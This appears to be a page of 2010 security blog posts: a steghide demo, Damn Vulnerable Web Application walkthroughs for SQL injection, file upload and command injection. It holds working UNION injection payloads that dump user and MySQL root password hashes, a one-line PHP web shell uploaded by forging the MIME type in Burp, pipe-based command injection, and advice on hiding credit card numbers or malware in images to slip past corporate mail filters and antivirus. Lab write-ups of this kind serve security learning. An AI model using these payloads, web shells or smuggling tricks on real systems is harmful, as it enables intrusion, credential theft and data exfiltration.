[Wed Jun 16 09:01:20]
[zoidberg@/dev/null:~/steg ] $ ls -l
total 16
-rw-r--r-- 1 zoidberg zoidberg 13289 2010-06-16 09:01 picture.jpg

[Wed Jun 16 09:01:21]
[zoidberg@/dev/null:~/steg ] $ file picture.jpg
picture.jpg: JPEG image data, JFIF standard 1.01

[Wed Jun 16 09:01:25]
[zoidberg@/dev/null:~/steg ] $ steghide extract -sf picture.jpg
Enter passphrase:
wrote extracted data to "secret.txt".

[Wed Jun 16 09:01:56]
[zoidberg@/dev/null:~/steg ] $ ls -l
total 20
-rw-r--r-- 1 zoidberg zoidberg 13289 2010-06-16 09:01 picture.jpg
-rw-r--r-- 1 zoidberg zoidberg 15 2010-06-16 09:01 secret.txt

[Wed Jun 16 09:02:00]
[zoidberg@/dev/null:~/steg ] $ cat secret.txt
Secret data...

[Wed Jun 16 09:02:01]
[zoidberg@/dev/null:~/steg ] $


As you can see very simple program to use, really cool technique. I have played around with this and am able to bypass content control filters as well as anti virus systems. For example, a company that uses content control systems (like MessageLabs / Symantec Hosted Services) where you can define rules to govern what type of content can enter and leave an organizations mail server. Using this technique you can for instance hide a text file full of credit card numbers or any other data that content control usually picks up and get it through without being caught. Also you can hide malware/virus within the image and this too will bypass most AV vendors systems, I checked on Virus Total and it bypasses every vendor there. For you to make use of the latter I guess you would need to figure out a way to execute the virus within the image for it to be malicious, however being able to bypass content control is dangerous enough.

Permalink 1 Comment

SQL Injection DVWA Continued…

June 13, 2010 at 7:59 pm (PHP, Programming, Security, SQL, SQL Injection)

Hey,

So continuing on from the low level, let’s take a look at the medium level. Here is the code:

<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid="SELECT first_name, last_name FROM users WHERE user_id = $id";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num=mysql_numrows($result);
$i=0;
while ($i < $num) {
$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>

So as you can see it is exactly the same apart from the:

$id = mysql_real_escape_string($id);

The only thing that this prevents us from doing compared to the low level is, using quotes. So we can simply own the level in the same manner just removing the quotes we used, like so:

ID: 1 union all select user,password from dvwa.users--
First name: admin
Surname: admin
ID: 1 union all select user,password from dvwa.users--
First name: admin
Surname: bf03145925aadc81e733e788aaa58fe3
ID: 1 union all select user,password from dvwa.users--
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1 union all select user,password from dvwa.users--
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1 union all select user,password from dvwa.users--
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1 union all select user,password from dvwa.users--
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

As you can see exactly the same way, the reason that we can’t use quotes is pretty self explanatory from looking at this page.

Let’s talk about the high level then, first let’s take a look at the code:

<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num=mysql_numrows($result);
$i=0;
while ($i < $num) {
$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
}
?>

This has a lot more sanitization and as far as I am aware it is not exploitable. The problem is the following bit of code:

// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

I know I can bypass the mysql_real_escape_string($id) from the medium level. I am just not sure and have not found a way to successfully circumvent the stripslashes() and is_numeric() functions. If anyone has a way to circumvent this please let me know!

Permalink 7 Comments

SQL Injection DVWA

June 11, 2010 at 9:19 pm (PHP, Programming, Security, SQL, SQL Injection)

Hey,

So there are 3 SQL Injection levels on the Damn Vulnerable Web Application (Low, Medium and High). In this post I will explain how to defeat the low level, let’s take a look at the code first:

<?php

if(isset($_GET['Submit'])){

// Retrieve data

// ERROR: PHP Notice: Undefined index: id
$id=$_GET['id'];

$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num=mysql_numrows($result);

$i=0;

while ($i < $num) {

$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");

echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';

$i++;
}
}
?>

So the above code is vulnerable to SQL Injection, let’s take a closer look at the following snippet:

$id=$_GET['id'];
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";

As you can see there is no sanitization used, the variable is simply inserted straight into the SQL query. This is the most basic type of SQL Injection you may come across. Let’s confirm it is definatley vulnerable to SQL Injection:

UserID: '

The page returned spits out the following error message:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

This confirms to us it is vulnerable to SQL Injection, first thing to do is find out how many columns there are:

UserID: ' ORDER BY 1--
UserID: ' ORDER BY 2--

These simply return the same page…

UserID: ' ORDER BY 3--

Then this gives us an invaluable error message:

Unknown column '3' in 'order clause'

What does this tell us? Well it tells us that there are two columns, which are obviously the first_name and last_name columns as when you pass the UserID: form a valid User ID (1) for example you get this:

ID: 1
First name: admin
Surname: admin

Right, now its time to find out the database name, table name, column name and anything else useful and interesting. First thing first let’s find out the database version:

ID: ' union all select 1,@@VERSION--
First name: 1
Surname: 5.1.37-1ubuntu5.1

So it is using MySQL 5.1.37-1 on Ubuntu. Lets find the user the database is running as and the name of the database we are dealing with:

ID: ' union all select user(),database()--
First name: root@localhost
Surname: dvwa

Ok so the user is root (awesome!!) and the database we are concerned with is ‘dvwa’ 😉 Right OK, since the user is root let’s see what we can gleam:

ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: debian-sys-maint
Surname: *65BFD4D79D51FF884D573209BC7DE1D1A3D0AA4E

Wow! We got the root passord hash 🙂 So as you can see because the application is using the root user, we can pretty much own the whole system from here. However I will focus on the DVWA level 🙂 So, we know the database name is dvwa, and the columns are first_name and last_name. Let’s find out the table name:

ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: CHARACTER_SETS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLLATIONS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLLATION_CHARACTER_SET_APPLICABILITY
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLUMNS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLUMN_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ENGINES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: EVENTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: FILES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: GLOBAL_STATUS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: GLOBAL_VARIABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: KEY_COLUMN_USAGE
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PARTITIONS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PLUGINS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PROCESSLIST
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PROFILING
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: REFERENTIAL_CONSTRAINTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ROUTINES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SCHEMATA
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SCHEMA_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SESSION_STATUS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SESSION_VARIABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: STATISTICS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLE_CONSTRAINTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLE_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TRIGGERS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: USER_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: VIEWS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: guestbook
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: users
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: columns_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: db
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: event
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: func
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: general_log
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_category
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_keyword
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_relation
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_topic
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: host
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ndb_binlog_index
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: plugin
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: proc
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: procs_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: servers
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: slow_log
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: tables_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_leap_second
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_name
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_transition
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_transition_type
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: user
Surname: ޭ��

Bingo, we got all the tables from information_schema.tables :-), so we can hazard a guess that the two tables in the ‘dvwa’ database are; users and guestbook. Before I move on an finish this level, I want to show you some other ways to grab databases, tables and columns:

ID: ' union select group_concat(schema_name),2 from information_schema.schemata--
First name: information_schema,dvwa,mysql
Surname: 2

Or:

ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: information_schema
Surname: ޭ��
ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: dvwa
Surname: ޭ��
ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: mysql
Surname: ޭ��

Also I might as well mention the other way to find the tables too:

ID: ' union all select table_name,0xdeadbeef from information_schema.tables where table_schema=database()--
First name: guestbook
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables where table_schema=database()--
First name: users
Surname: ޭ��

Right so back to it, recap; we know the database name is dvwa and we have two tables users and guestbook. Last crucial bit of information is the column names, lets grab them:

ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: comment_id
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: comment
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: user_id
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: first_name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: last_name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: user
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: password
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: avatar
Surname: ޭ��

Ok so we have everything we need now, lets get all the usernames and password hashes for this level:

ID: ' union all select user, password from dvwa.users--
First name: admin
Surname: bf03145925aadc81e733e788aaa58fe3
ID: ' union all select user, password from dvwa.users--
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: ' union all select user, password from dvwa.users--
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ' union all select user, password from dvwa.users--
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ' union all select user, password from dvwa.users--
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Jon done 🙂 Just to put this into perspective, if you goto Milw0rm, Click on the cracker link and you can sumbit your hash to see if its already been cracked, take the user ‘gordonb’ for example:

-::TYPE -::HASH -::PASS -::STATUS
md5 e99a18c428cb38d5f260853678922e03 abc123 cracked

My next post will explain how to beat it on Medium difficulty and then to talk about the High difficulty level. So until the next time…

Permalink 8 Comments

Abusing PHP Upload Scripts For Fun and Profit

June 11, 2010 at 6:47 am (PHP, Programming, Security, Upload)

Hey,

So looking at the upload level on Damn Vulnerable Web Application on low and medium settings, it is probably worth putting them into one post 🙂

Let’s take a look at the code for the upload level on the low setting:

<?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {

echo '<pre>';
echo $uploaded_name . ' succesfully uploaded!';
echo '</pre>';

}

}
?>

As you can see this script will allow us to pretty much upload any type of file we want. What would happen if we uploaded a file simply containing the following line of PHP code:

<?php passthru($_GET['cmd']); ?>

Well, it will upload to hackable/uploads to start with so if you point your browser to:

http://localhost/dvwa/hackable/uploads/pwnme.php?cmd=ls

BINGO! 🙂 Nice and simple that one was, yeah? Let’s take a look at the same level but on the medium setting:

<?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {

echo '<pre>';
echo $uploaded_name . ' succesfully uploaded!';
echo '</pre>';

}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>

Now this looks a little better, but is it? Notice the check:

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){

This is the only part you have to circumvent, and you should instantly know how. Using a proxy you can rewrite the upload request to use “image/jpeg” as the upload_type. Let’s see exactly how to do this. First thing’s first, open up a proxy I used Burpsuite for this. Make the request to the page by uploading the neccessary file and making sure you have “intercept requests” turned on in Burp. Then watch out for the following request:

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost/dvwa/vulnerabilities/upload/
Cookie: security=medium; PHPSESSID=986e59f304b93ce9287b9cbc84df6a1d
Content-Type: multipart/form-data; boundary=---------------------------68053526712024471042060696500
Content-Length: 512

-----------------------------68053526712024471042060696500
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------68053526712024471042060696500
Content-Disposition: form-data; name="uploaded"; filename="pwnme.php"
Content-Type: application/x-httpd-php

-----------------------------68053526712024471042060696500
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------68053526712024471042060696500--

the line we are interested in is:

Content-Type: application/x-httpd-php

If we change that to read:

Content-Type: image/jpeg

Then click “forward” on Burpsuite, it will send the request off to the site, the site will then respond with:


pwnme.php succesfully uploaded!

And that was all there was to it for the Upload levels.. pretty simple, huh? 🙂

Permalink Leave a Comment

Command Execution Part 2…

June 11, 2010 at 6:21 am (Command Execution, PHP, Security)

Hey guys,

So I finally got around to playing with the Damn Vulnerable Web Application on Medium level. The command execution level really only added a filter for two characters as a “more secure” version to the level on low setting. Lets take a look at the code:

<?php

if( isset( $_POST[ ‘submit’] ) ) {

$target = $_REQUEST[ ‘ip’ ];

// Remove any of the charactars in the array (blacklist).
$substitutions = array(
‘&&’ => ”,
‘;’ => ”,
);

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if (stristr(php_uname(‘s’), ‘Windows NT’)) {

$cmd = shell_exec( ‘ping ‘ . $target );
echo ‘<pre>’.$cmd.'</pre>’;

} else {

$cmd = shell_exec( ‘ping -c 3 ‘ . $target );
echo ‘<pre>’.$cmd.'</pre>’;

}
}

?>

As you can see, they have added a character filter which filters out the following characters: ‘;’ and ‘&&’, the code that does this is here:

$substitutions = array(
'&&' => '',
';' => '',
);

Well what about the other plethora of bash commands ay? Such as.. well you guessed it the famous pipe operator: ‘|’. Lets see what happens when we try using it:

I entered: “127.0.0.1 | ls -l”, however you could just do: “| ls -l”, and I got returned:

total 12
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 help
-rw-r--r-- 1 www-data www-data 1509 Feb 17 15:17 index.php
-rw-r--r-- 1 www-data www-data 0 Jun 9 08:37 ls
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 source

Viola!

Permalink Leave a Comment

Next page »